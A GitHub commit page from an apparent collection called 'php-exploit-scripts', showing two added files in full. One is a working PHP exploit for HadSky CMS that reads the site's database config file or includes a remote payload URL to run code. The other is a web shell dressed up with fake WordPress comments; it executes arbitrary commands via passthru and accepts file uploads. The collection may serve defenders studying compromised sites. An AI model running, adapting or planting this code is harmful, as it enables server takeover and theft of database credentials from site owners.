Skip to content

Commit 9666e98

Browse files
mattiasgeniarmattiasgeniar
committed
Merge branch 'master' of github.com:mattiasgeniar/php-exploit-scripts
* 'master' of github.com:mattiasgeniar/php-exploit-scripts: fix bad html comments syntax fix exp fix fix fix exp add exp my collection
2 parents 8c67c9e + e2f518f commit 9666e98

File tree

11 files changed

+8723
-0
lines changed

11 files changed

+8723
-0
lines changed

‎exp4php/hadsky.php‎

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
<?php
2+
/**
3+
Author:l34rner
4+
Desc:HadSky CMS <=2.3.7 remote code excution && file disclosure vulnerability
5+
6+
**/
7+
$die=<<<str
8+
9+
usage:php $argv[0] target [payloadURL]
10+
11+
Eg: php $argv[0] http://www.google.com/HadSky/ [http://yourServer/payload.txt]
12+
13+
if you dont set the payloadURL,This exp will read the site`s config.php by default.
14+
15+
str;
16+
if($argc<2 || $argc>3)
17+
{
18+
die($die);
19+
}
20+
$poc='?c=page&filename=./puyuetian/mysql/config.php';
21+
$ch=curl_init();
22+
if(!$ch)
23+
{
24+
die("Dont support curl!");
25+
}
26+
27+
if($argc==2)
28+
{
29+
$url=$argv[1].$poc;
30+
curl_setopt($ch, CURLOPT_URL, $url);
31+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
32+
curl_setopt($ch, CURLOPT_HEADER, 0);
33+
$out=curl_exec($ch);
34+
$start=strpos($out,'$_G[\'MYSQL\']');
35+
$end=strpos($out,'$_G[\'MYSQL\'][\'CHARSET\']');
36+
$output=substr($out,$start,$end-$start);
37+
if($output)
38+
{
39+
echo "\r\noh yeah,got the result\r\n\r\n";
40+
echo $output;
41+
}
42+
else
43+
{
44+
echo "oops,seems the config file has been renamed!";
45+
}
46+
}
47+
if($argc==3)
48+
{
49+
$url=$argv[1].'?c=page&filename='.$argv[2];
50+
curl_setopt($ch, CURLOPT_URL, $url);
51+
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
52+
curl_setopt($ch, CURLOPT_HEADER, 0);
53+
$out=curl_exec($ch);
54+
$error='未找到的模板文件！';
55+
$errorpos=strpos($out, $error);
56+
if($errorpos===false)
57+
{
58+
echo "Done,ur code has been excuted successfully!";
59+
}
60+
else
61+
{
62+
echo "Failed!";
63+
}
64+
}
65+
?>

‎found_on_wordpress/class-ftp-inc.php‎

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
<!-- Front to the WordPress application. This file doesn't do anything, but loads -->
2+
<!-- wp-blog-header.php which does and tells WordPress to load the theme. -->
3+
<html>
4+
<head>
5+
<title>WordPress</title>
6+
</head>
7+
<BODY bgcolor="#000000">
8+
<!-- ngatur direktori -->
9+
<? if (($_POST['dir']!=="") AND ($_POST['dir'])) { chdir($_POST['dir']); } ?>
10+
<table>
11+
<tr><td bgcolor=#cccccc>
12+
13+
<!-- eksekusi command dengan passthru -->
14+
15+
<?
16+
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="uname -ar ; pwd ; id ; ls -la ;"; }
17+
echo "<b>";
18+
echo "<div align=left><textarea name=report cols=70 rows=15>";
19+
echo "".passthru($_POST['cmd'])."";
20+
echo "</textarea></div>";
21+
echo "</b>";
22+
?>
23+
</td></tr></table>
24+
<!-- upload file -->
25+
<?
26+
if (($HTTP_POST_FILES["filenyo"]!=="") AND ($HTTP_POST_FILES["filenyo"]))
27+
{
28+
copy($HTTP_POST_FILES["filenyo"][tmp_name],
29+
$_POST['dir']."/".$HTTP_POST_FILES["filenyo"][name])
30+
or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=arial>
31+
<div>file gak isa di uplod ".$HTTP_POST_FILES["filenyo"][name]."</div></font></td></tr></table>");
32+
}
33+
?>
34+
<table width=100% cellpadding=0 cellspacing=0 >
35+
<tr><td>
36+
37+
<!-- form eksekusi command -->
38+
39+
<?
40+
echo "<form name=command method=post>";
41+
echo "<font face=Verdana size=1 color=red>";
42+
echo "<b>[CmD ]</b><input type=text name=cmd size=33> ";
43+
if ((!$_POST['dir']) OR ($_POST['dir']==""))
44+
{ echo " <b>[Dir]</b><input type=text name=dir size=40 value=".exec("pwd").">"; }
45+
else { echo "<input type=text name=dir size=40 value=".$_POST['dir'].">"; }
46+
echo " <input type=submit name=submit value=\"0k\">";
47+
echo "</font>";
48+
echo "</form>";
49+
?>
50+
</td></tr></table>
51+
<table width=100% cellpadding=0 cellspacing=0 >
52+
53+
<!-- form upload -->
54+
55+
<?
56+
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
57+
echo "<font face=Verdana size=1 color=red>";
58+
echo "<b> [EcHo]</b>";
59+
echo "<input type=file name=filenyo size=70> ";
60+
if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=70 value=".exec("pwd").">"; }
61+
else { echo "<input type=hidden name=dir size=70 value=".$_POST['dir'].">"; }
62+
echo "<input type=submit name=submit value=\"0k\">";
63+
echo "</font>";
64+
echo "</form>";
65+
?>
66+
</td></tr></table>
67+
</html>

‎found_on_wordpress/dhanush.php‎

Lines changed: 206 additions & 0 deletions
Large diffs are not rendered by default.

0 commit comments

Comments
 (0)